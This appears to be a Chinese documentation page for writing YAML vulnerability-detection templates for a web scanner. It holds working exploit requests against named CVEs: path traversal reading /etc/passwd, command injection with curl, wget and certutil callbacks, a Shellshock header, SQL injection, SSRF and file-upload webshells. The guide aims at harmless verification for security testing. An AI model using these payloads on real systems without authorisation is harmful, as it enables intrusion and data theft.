HTTP

常规正则匹配规范（Regex）

文件类（File）

/etc/passwd

c:/windows/win.ini

response.body_string.contains(“for 16-bit app support”)

命令类（原则上，在不能使用expr等操作时才可使用以下命令进行证明）

“(u|g)id=\d+“.matches(response.body_string) && response.body_string.contains(“root”)
注意，该匹配方式不能单独使用，请结合其他信息一起使用(例如上述的root)，例如添加headers中的特殊信息，或者前一个规则比较强等

使用该命令一般是在IOT环境下，确认ls的目录中某些文件不会发生变动的情况下，可以匹配返回的文件名称

rev

echo {{randstr}} | rev
response.body_string.contains(rev(randstr))

常规漏洞检测模版（Vulns）

本着在保证准确性的前提下尽可能少发包的原则，切忌在第一个规则中的expression只使用一个response.status == 200这样的规则，这样基本等于会多发一个请求，理论上多少都应该有一些特征。

未授权类（Unauth）

name: poc-yaml-test-unauth
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /admin/
    expression: response.status == 200 && response.body_string.contains("<title>Admin</title>") && response.body_string.contains("<h2>DController</h2>")
expression: r0()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-docker-registry-api-unauth
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /v2/
      follow_redirects: false
    expression: response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
  r1:
    request:
      cache: true
      method: GET
      path: /v2/_catalog
      follow_redirects: false
    expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
expression: r0() && r1()
detail:
  author: Chaitin
  links:
    - https://github.com/distribution/distribution/issues/877
    - https://askding.github.io/Kali/Exploit/Docker.html

文件读取类（File read）

系统文件（System file）

name: poc-yaml-test
manual: true
transport: http
rules:
  linux:
    request:
      cache: true
      method: GET
      path: /test/../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  windows:
    request:
      cache: true
      method: GET
      path: /test/../../../../Windows/win.ini
    expression: response.status == 200 && response.body_string.contains("for 16-bit app support")
expression: linux() || windows()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-ewebs-fileread
manual: true
transport: http
rules:
  windows0:
    request:
      cache: true
      method: POST
      path: /casmain.xgi
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: Language_S=../../../../windows/win.ini
    expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: windows0()
detail:
  author: Chaitin
  links:
    - https://www.yuque.com/peiqiwiki/peiqi-poc-wiki/lzqqz4

网站配置文件（Website Configuration）

name: poc-yaml-test
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /test.aspx?filePath=../../web.config
      follow_redirects: true
    expression: response.body_string.contains('<add key="MyServerIP"') && response.body_string.contains('<add name="ConnectionString" connectionString="') && response.body_string.contains('<sessionState mode="InProc"')
expression: r0()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-jira-cve-2020-29453-fileread
manual: true
transport: http
set:
  randstr: randomLowercase(10)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml
    expression: response.status == 200 && response.body.bcontains(b"<groupId>com.atlassian.jira</groupId>") && response.body.bstartsWith(b"project xmlns=")
  r1:
    request:
      cache: true
      method: GET
      path: /s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
    expression: response.status == 200 && response.body.bcontains(b"<groupId>com.atlassian.jira</groupId>") && response.body.bstartsWith(b"project xmlns=")
expression: r0() || r1()
detail:
  author: Xz
  links:
    - https://jira.atlassian.com/browse/JRASERVER-72014
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29453

RCE类

代码执行 (Code Execution)

name: poc-yaml-test-php-rce
manual: true
transport: http
set:
  s1: randomInt(100000000, 200000000)
  s2: randomInt(10000, 20000)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /index.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: <?={{s2}}-{{s1}};
    expression: response.status == 200 && response.body_string.contains(string(s2 - s1))
expression: r0()
detail:
  author: test
  links:
    - https://test.com

name: poc-yaml-php-cgi-cve-2012-1823-rce
manual: true
transport: http
set:
  s1: randomInt(100000, 200000)
  s2: randomInt(100000, 200000)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: <?php print({{s1}} + {{s2}}); ?>
    expression: response.status == 200 && response.body_string.startsWith(string(s1 + s2))
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823

name: poc-yaml-spring-cloud-function-spel-rce
manual: true
transport: http
set:
  reverse: newReverse()
  reverseUrl: reverse.url
  randomString: randomLowercase(6)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /functionRouter
      headers:
        Content-Type: application/x-www-form-urlencoded
        spring.cloud.function.routing-expression: new java.net.URL("{{reverseUrl}}").openStream()
      body: |
        {{randomString}}
    expression: reverse.wait(5)
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
  AffectedVersion: 3.2.2
  description: spring cloud function <= 3.2.2 会对特定的header进行SPEL解析,导致RCE

在随机数过小的情况下，可能还是会出现误报，所以，请在适当的时候，活用bstartsWith方法或者尝试匹配网页中的其他特征。

例如，计算的结果直接返回，并无其他附加，那么这个时候就可以使用response.body.bstartsWith(bytes(string(s1 - s2)))

命令执行 (Command Execution)

name: poc-yaml-test-rce
manual: true
transport: http
set:
  s1: randomInt(100000, 200000)
  s2: randomInt(10000, 20000)
rules:
  # windows的情况
  r0:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=set /A {{s2}}-{{s1}}
    expression: response.status == 200 && response.body_string.contains(string(s2 - s1))
  r1:
    request:
      cache: true
      method: POST
      path: /test2
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=type c:/windows/win.ini
    expression: response.status == 200 && response.body_string.contains("for 16-bit app support")
  # linux的情况
  r2:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=expr {{s1}} - {{s2}}
    expression: response.status == 200 && response.body_string.contains(string(s1 - s2))
  r3:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=echo {{s1}}-{{s2}}|bc
    expression: response.status == 200 && response.body_string.contains(string(s1 - s2))
  r4:
    request:
      cache: true
      method: POST
      path: /test1
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=cat /etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() || r1() || r2() || r3() || r4()
detail:
  author: test
  links:
    - http://test.com

name: poc-yaml-langhezhuoyuejifei-debug-rce
manual: true
transport: http
set:
  s1: randomInt(100000, 200000)
  s2: randomInt(10000, 20000)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /debug.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        cmd=set /A {{s1}}-{{s2}}
    expression: response.status == 200 && response.body.bcontains(bytes(string(s1 - s2)))
  r1:
    request:
      cache: true
      method: POST
      path: /debug.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        cmd=type c:/windows/win.ini
    expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
  r2:
    request:
      cache: true
      method: POST
      path: /debug.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        cmd=expr {{s1}} - {{s2}}
    expression: response.status == 200 && response.body.bcontains(bytes(string(s1 - s2)))
  r3:
    request:
      cache: true
      method: POST
      path: /debug.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        cmd=echo {{s1}}-{{s2}}|bc
    expression: response.status == 200 && response.body.bcontains(bytes(string(s1 - s2)))
  r4:
    request:
      cache: true
      method: POST
      path: /debug.php
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        cmd=cat /etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() || r1() || r2() || r3() || r4()
detail:
  author: Chaitin
  links:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%93%9D%E6%B5%B7%E5%8D%93%E8%B6%8A%E8%AE%A1%E8%B4%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20debug.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

name: poc-yaml-visual-tools-dvr-vx16-cve-2021-42071
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /cgi-bin/slogin/login.py
      headers:
        Accept: '*/*'
        User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd
      follow_redirects: false
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
detail:
  author: Chaitin
  links:
    - https://www.exploit-db.com/exploits/50098

无回显RCE

name: poc-yaml-test
manual: true
transport: http
set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /run
      body: test=ls|curl+{{reverseURL}}
    expression: reverse.wait(5) && response.body_string.contains("xxxx")
  r1:
    request:
      cache: true
      method: POST
      path: /run
      body: test=ls|ping+reverseDomain
    expression: reverse.wait(5) && response.body_string.contains("xxxx")
expression: r0() || r1()
detail:
  author: test
  links:
    - http://test.com

name: poc-yaml-spiderflow-save-remote-command-execute
manual: true
transport: http
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /function/save
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        id=&name=cmd&parameter=yw&script=}Java.type('java.lang.Runtime').getRuntime().exec('curl {{reverseURL}}');
      follow_redirects: false
    expression: response.status == 200 && reverse.wait(5)
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/GREENHAT7/pxplan/blob/main/goby_pocs/SpiderFlow_save__remote_code.json

name: poc-yaml-tika-cve-2018-1335-rce
manual: true
transport: http
set:
  reverse: newReverse()
  reverseDNS: reverse.domain
rules:
  r0:
    request:
      cache: true
      method: PUT
      path: /meta
      headers:
        Connection: close
        Content-Type: image/jp2
        Expect: 100-continue
        X-Tika-OCRLanguage: //E:Jscript
        X-Tika-OCRTesseractPath: '"cscript"'
      body: |
        var oShell = WScript.CreateObject("WScript.Shell");var oExec = oShell.Exec('cmd /c ping {{reverseDNS}}');
    expression: reverse.wait(5) && response.body.bcontains(b"org.apache.tika.parser.DefaultParser") && response.headers["Content-Type"].contains("text/csv")
expression: r0()
detail:
  author: Chaitin
  links:
    - https://www.exploit-db.com/exploits/46540

name: poc-yaml-landray-oa-datajson-rce
manual: true
transport: http
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  r1:
    request:
      cache: true
      method: GET
      path: /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("wget -P /tmp/ {{reverseURL}}")&type=1
    expression: response.body_string.contains("模拟通过") && reverse.wait(3)
  r2:
    request:
      cache: true
      method: GET
      path: /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("certutil -urlcache -split -f {{reverseURL}}")&type=1
    expression: response.body_string.contains("模拟通过") && reverse.wait(3)
expression: r1() || r2()
detail:
  author: xiaobaicai
  links:
    - https://www.cnsuc.net/thread-553.htm

SQL注入类

普通注入（Ordinary injection）

name: poc-yaml-test-sqli
manual: true
transport: http
set:
  s1: randomInt(100000, 200000)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /index.jsp?id=1%27%20union%20select%20md5({{s1}})
      follow_redirects: true
    expression: response.body_string.contains(substr(md5(string(s1)), 2, 28))
expression: r0()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-74cms-cve-2020-22211-sqli
manual: true
transport: http
set:
  rand: randomInt(100000, 200000)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{rand}}),9%23
    expression: |
      response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/blindkey/cve_like/issues/13

name: poc-yaml-metinfo-cve-2019-16997-sqli
manual: true
transport: http
set:
  r1: randomInt(40000, 44800)
  r2: randomInt(40000, 44800)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /admin/?n=language&c=language_general&a=doExportPack
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: appno= 1 union SELECT {{r1}}*{{r2}},1&editor=cn&site=web
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
  author: Chaitin
  links:
    - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-2

报错注入（Error injection）

name: poc-yaml-test-sqli
manual: true
transport: http
set:
  s1: randomInt(100000, 200000)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /index.jsp?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20md5({{s1}})),0x7e),1)--
      follow_redirects: true
    expression: response.body_string.contains(substr(md5(string(s1)), 2, 28))
expression: r0()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-finecms-cve-2018-6893
manual: true
transport: http
set:
  f1: randomLowercase(5)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select%20extractvalue(1,concat(0x7e,md5('{{f1}}'),0x7e)))%20as%20aaa
      follow_redirects: false
    expression: response.status == 500 && response.body.bcontains(bytes(substr(md5(f1), 2, 20)))
expression: r0()
detail:
  author: Chaitin
  links:
    - https://xz.aliyun.com/t/2050

布尔盲注（Bool）

name: poc-yaml-test
manual: true
transport: http
set:
  s1: randomLowercase(5)
  a1: randomInt(10000, 100000)
  a2: randomInt(10000, 100000)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: id=aaa%27 and {{a1}}={{a2}} and %27{{s1}}%27=%27{{s1}}
      follow_redirects: true
    expression: response.body_string.contains("User authentication Failed")
  r1:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: id=aaa%27 and {{a1}}={{a1}} and %27{{s1}}%27=%27{{s1}}
      follow_redirects: true
    expression: response.body_string.contains("User Login Failed for XXXXXX User")
expression: r0() && r1()
detail:
  author: test
  links:
    - https://www.test.com

name: poc-yaml-netgear-ssl-vpn-20211222-cve-2022-29383
manual: true
transport: http
set:
  s1: randomLowercase(5)
  a1: randomInt(1000, 9000)
  a2: randomInt(1000, 9000)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /scgi-bin/platform.cgi
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: thispage=index.htm&USERDBUsers.UserName=aaa&USERDBUsers.Password=aaa&USERDBDomains.Domainname=geardomain%27 and {{a1}}={{a2}} and %27{{s1}}%27=%27{{s1}}&button.login.USERDBUsers.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+Trident%2F7.0%3B+.NET4.0C%3B+.NET4.0E%3B+.NET+CLR+2.0.50727%3B+.NET+CLR+3.0.30729%3B+.NET+CLR+3.5.30729%3B+rv%3A11.0%29+like+Gecko
      follow_redirects: true
    expression: response.body.bcontains(b"id=\"lblWarning\">User authentication Failed")
  r1:
    request:
      cache: true
      method: POST
      path: /scgi-bin/platform.cgi
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: thispage=index.htm&USERDBUsers.UserName=aaa&USERDBUsers.Password=aaa&USERDBDomains.Domainname=geardomain%27 and {{a1}}={{a1}} and %27{{s1}}%27=%27{{s1}}&button.login.USERDBUsers.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+Trident%2F7.0%3B+.NET4.0C%3B+.NET4.0E%3B+.NET+CLR+2.0.50727%3B+.NET+CLR+3.0.30729%3B+.NET+CLR+3.5.30729%3B+rv%3A11.0%29+like+Gecko
      follow_redirects: true
    expression: response.body.bcontains(b"id=\"lblWarning\">User Login Failed for SSLVPN User")
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383

时间盲注（Time）

name: poc-yaml-test-sqli
manual: true
transport: http
set:
  sleepSecond1: randomInt(5, 8)
  sleepSecond2: randomInt(2, 4)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /user/test.php?id=1%27)%20AND%20(SELECT(SELECT(SLEEP(0))))%23
    expression: response.status == 200 && response.body_string.contains("xxxx")
    output:
      r0latency: response.latency
  r1:
    request:
      cache: true
      method: GET
      read_timeout: "10"
      path: /user/test.php?id=1%27)%20AND%20(SELECT(SELECT(SLEEP({{sleepSecond1}}))))%23
    expression: response.latency - r0latency >= sleepSecond1 * 1000 && response.body_string.contains("xxxx")
    output:
      r1latency: response.latency
  r2:
    request:
      cache: true
      method: GET
      read_timeout: "10"
      path: /user/test.php?id=1%27)%20AND%20(SELECT(SELECT(SLEEP({{sleepSecond2}}))))%23
    expression: response.latency - r0latency >= sleepSecond2 * 1000 && response.latency < r1latency && response.body_string.contains("xxxx")
expression: r0() && r1() && r2()
detail:
  author: test
  links:
    - http://test.com

name: poc-yaml-wordpress-paid-memberships-pro-cve-2023-23488-sqli
manual: true
transport: http
set:
  sleepSecond: randomInt(5, 8)
  sleepSecond1: randomInt(2, 4)
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(0)))a)--%20-
    expression: response.status == 200 && response.headers["Content-Type"].contains("json")
    output:
      r0latency: response.latency
  r1:
    request:
      cache: true
      method: GET
      read_timeout: "10"
      path: /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sleepSecond}})))a)--%20-
    expression: response.latency - r0latency >= sleepSecond * 1000 - 100
    output:
      r1latency: response.latency
  r2:
    request:
      cache: true
      method: GET
      read_timeout: "10"
      path: /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sleepSecond1}})))a)--%20-
    expression: response.latency - r0latency >= sleepSecond1 * 1000 - 100 && response.latency < r1latency
expression: r0() && r1() && r2()
detail:
  author: Chaitin
  links:
    - https://www.tenable.com/cve/CVE-2023-23488

SSRF/URL跳转类

目前暂时推荐使用example.com/example.org，后续会支持配置文件中动态获取以下为具体示例，在不影响验证的情况下，推荐使用r0规则进行验证（URL跳转） ps：在使用r0规则时，有两点需要注意：

当存在多次跳转的情况时，请不要使用该规则
当location中包含原本请求的url时，请谨慎使用该规则，可能导致验证失败

SSRF

name: poc-yaml-test-url
manual: true
transport: http
set:
  randomUrl: |
    "http://" + randomLowercase(6) + ".com"
  reverse: newReverse()
  reverseUrl: reverse.url
rules:
  r1:
    request:
      cache: true
      method: GET
      path: /user/test.php?url=example.com
      follow_redirects: true
    expression: response.status == 200 && response.body_string.contains("<title>Example Domain</title>") && response.body_string.contains("<h1>Example Domain</h1>")
  # 仅在SSRF访问不到外面的情况下使用反连进行测试
  r2:
    request:
      cache: true
      method: GET
      path: /user/test.php?url={{reverseUrl}}
    expression: response.status == 200 && reverse.wait(3)
expression: r1() || r2()
detail:
  author: test
  links:
    - http://test.com

name: poc-yaml-wordpress-cve-2022-0591-ssrf
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /wp-admin/admin-ajax.php?action=formcraft3_get&URL=http://127.0.0.1:0
      follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(b"cURL error 3: ") && response.body.bcontains(b"failed")
expression: r0()
detail:
  author: Chaitin
  links:
    - https://wpscan.com/vulnerability/b5303e63-d640-4178-9237-d0f524b13d47

name: poc-yaml-kkfileview-getcorsfile-ssrf
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /getCorsFile?urlPath=http://interact.sh
    expression: |
      response.status == 200 && response.body.bstartsWith(bytes("<h1> Interactsh Server </h1>")) && response.body.bcontains(bytes("is an open-source tool for detecting out-of-band interaction")) && response.url.domain != "interact.sh"
expression: r0()
detail:
  author: Chaitin
  links:
    - https://github.com/kekingcn/kkFileView/issues/128

name: poc-yaml-jira-cve-2017-9506-ssrf
manual: true
transport: http
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /plugins/servlet/oauth/users/icon-uri?consumerUri={{reverseURL}}
      headers:
        X-Atlassian-Token: no-check
    expression: reverse.wait(5)
expression: r0()
detail:
  author: Chaitin
  links:
    - https://ecosystem.atlassian.net/browse/OAUTH-344

弱口令类（Weak password）

name: poc-yaml-activemq-weak-password
manual: true
transport: http
payloads:
  payloads:
    p1:
      username: r"admin"
      password: r"admin"
      auth: base64(username + ":" + password)
rules:
  check:
    request:
      cache: true
      method: GET
      path: /admin/
    expression: response.status == 401 && response.body.bcontains(b"Unauthorized")
  auth:
    request:
      cache: false
      method: GET
      path: /admin/
      headers:
        Authorization: Basic {{auth}}
    expression: response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
expression: check() && auth()
detail:
  author: Chaitin
  links:
    - http://test.com

难以无害化漏洞检测模版（Difficult to harmless）

文件删除（Delete）

此类漏洞建议使用版本匹配的方式，或者匹配其他特征的方式侧面验证漏洞的存在，不要直接执行删除请求，以防对测试目标造成损害。

文件修改（Modify）

此类漏洞建议使用版本匹配的方式，或者匹配其他特征的方式侧面验证漏洞的存在，不要直接执行删除请求，以防对测试目标造成损害。

文件上传（Upload）

multipart/form-data; boundary=---------------------------16314487820932200903769468567中的boundary应随机化
在上传的文件不能删除的情况下，可以选择继续上传一个同名空文件（请确保上传后的文件名称不被重命名），将原来的文件内容进行覆盖。
但常规情况下，在上传php，jsp文件时，可以使用一些函数来将上传的文件删除，示例如下：

name: poc-yaml-test
manual: true
transport: http
set:
  s1: randomLowercase(20)
  s2: randomLowercase(20)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file-upload\"; filename=\"{{s1}}.php\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <?php echo \"{{s2}}\"; unlink(__FILE__); ?>\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
      follow_redirects: false
    expression: response.status == 200 && response.body_string.contains(s1)
    output:
      search: '"(?P<tmp>.+?)".bsubmatch(response.body)'
      tmp: search["tmp"]
  r1:
    request:
      cache: true
      method: GET
      path: /test/{{tmp}}/{{s1}}.php
      follow_redirects: false
    expression: response.status == 200 && response.body_string.contains(s2)
expression: r0() && r1()
detail:
  author: test
  links:
    - https://test.com

name: poc-yaml-wanhuoa-upload-rce
manual: true
transport: http
set:
  rfilename: randomLowercase(4)
  s1: randomInt(40000, 44800)
  s2: randomInt(40000, 44800)
  rboundary: randomLowercase(8)
rules:
  r1:
    request:
      method: POST
      path: /test
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{rfilename}}.jsp\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <%out.print({{s1}} * {{s2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body_string.contains("success")
    output:
      search: |
        "\"data\":\"(?P<filename>\\d+).jsp\"".bsubmatch(response.body)
      uploadfilename: search["filename"]
  r2:
    request:
      method: GET
      path: /test/{{uploadfilename}}.jsp
    expression: response.status == 200 && response.body_string.contains(string(s1 * s2))
expression: r1() && r2()
detail:
  author: test
  links:
    - https://test.com

账号/密码修改（Account/Password Change）

此类漏洞建议使用版本匹配的方式，或者匹配其他特征的方式侧面验证漏洞的存在，不要直接执行删除请求，以防对测试目标造成损害。

特殊漏洞检测（Special vulnerability detection）

文件读取后，返回内容被编码（Content encoded）

name: poc-yaml-test
manual: true
transport: http
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /test
      headers:
        Content-Type: application/xml
      body: "<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall>\r\n<methodName>WorkflowService.getAttachment</methodName>\r\n<params><param><value><string>/etc/passwd</string>\r\n</value></param></params></methodCall>"
    expression: response.status == 200 && "root:[x*]:0:0:".matches(base64Decode("<base64>(?P<base64>.*)</base64>".bsubmatch(response.body)["base64"]))
expression: r0()
detail:
  author: test
  links:
    - https://www.test.com

Mssql unicode编码字符串

name: poc-yaml-test
manual: true
transport: http
set:
    rs: randomLowercase(20)
rules:
    r0:
      request:
        method: GET
        path: /?sql=select UPPER('{{rs}}')
      expression: response.body_string.contains(upper(rs))
expression: r0()
detail:
    author: test
    links:
      - https://www.test.com

TCP

常规服务漏洞（service vulnerability）

memcache未授权访问漏洞

name: poc-yaml-test
manual: false
transport: tcp
rules:
  r0:
    request:
      content: "stats"
      read_timeout: "3"
    expression: response.raw.bcontains(b"STAT pid") && response.raw.bcontains(b"STAT version")
    output:
      version: '"STAT version (?P<version>[\\d\\.]+)".bsubmatch(response.raw)["version"]'
      host: response.conn.destination.addr
expression: r0()
detail:
  author: test
  fingerprint:
    infos:
      - name: "memcache"
        version: "{{version}}"
    host_info:
      hostname: "{{host}}"

需要建立多个TCP连接进行验证的漏洞

可能类似这样的漏洞：CVE-2016-8704 参考连接：https://talosintelligence.com/vulnerability_reports/TALOS-2016-0219/

插件介绍

YAML

最佳实践

GO

编写模板

HTTP

常规正则匹配规范（Regex）

文件类（File）

命令类（原则上，在不能使用expr等操作时才可使用以下命令进行证明）

常规漏洞检测模版（Vulns）

未授权类（Unauth）

文件读取类（File read）

系统文件（System file）

网站配置文件（Website Configuration）

RCE类

代码执行 (Code Execution)

命令执行 (Command Execution)

无回显RCE

SQL注入类

普通注入（Ordinary injection）

报错注入（Error injection）

布尔盲注（Bool）

时间盲注（Time）

SSRF/URL跳转类

SSRF

弱口令类（Weak password）

难以无害化漏洞检测模版（Difficult to harmless）

文件删除（Delete）

文件修改（Modify）

文件上传（Upload）

账号/密码修改（Account/Password Change）

特殊漏洞检测（Special vulnerability detection）

文件读取后，返回内容被编码（Content encoded）

Mssql unicode编码字符串

TCP

常规服务漏洞（service vulnerability）

memcache未授权访问漏洞

需要建立多个TCP连接进行验证的漏洞

​HTTP

​常规正则匹配规范（Regex）

​文件类（File）

​命令类（原则上，在不能使用expr等操作时才可使用以下命令进行证明）

​常规漏洞检测模版（Vulns）

​未授权类（Unauth）

​文件读取类（File read）

​系统文件（System file）

​网站配置文件（Website Configuration）

​RCE类

​代码执行 (Code Execution)

​命令执行 (Command Execution)

​无回显RCE

​SQL注入类

​普通注入（Ordinary injection）

​报错注入（Error injection）

​布尔盲注（Bool）

​时间盲注（Time）

​SSRF/URL跳转类

​SSRF

​弱口令类（Weak password）

​难以无害化漏洞检测模版（Difficult to harmless）

​文件删除（Delete）

​文件修改（Modify）

​文件上传（Upload）

​账号/密码修改（Account/Password Change）

​特殊漏洞检测（Special vulnerability detection）

​文件读取后，返回内容被编码（Content encoded）

​Mssql unicode编码字符串

​TCP

​常规服务漏洞（service vulnerability）

​memcache未授权访问漏洞

​需要建立多个TCP连接进行验证的漏洞

HTTP

常规正则匹配规范（Regex）

文件类（File）

命令类（原则上，在不能使用expr等操作时才可使用以下命令进行证明）

常规漏洞检测模版（Vulns）

未授权类（Unauth）

文件读取类（File read）

系统文件（System file）

网站配置文件（Website Configuration）

RCE类

代码执行 (Code Execution)

命令执行 (Command Execution)

无回显RCE

SQL注入类

普通注入（Ordinary injection）

报错注入（Error injection）

布尔盲注（Bool）

时间盲注（Time）

SSRF/URL跳转类

SSRF

弱口令类（Weak password）

难以无害化漏洞检测模版（Difficult to harmless）

文件删除（Delete）

文件修改（Modify）

文件上传（Upload）

账号/密码修改（Account/Password Change）

特殊漏洞检测（Special vulnerability detection）

文件读取后，返回内容被编码（Content encoded）

Mssql unicode编码字符串

TCP

常规服务漏洞（service vulnerability）

memcache未授权访问漏洞

需要建立多个TCP连接进行验证的漏洞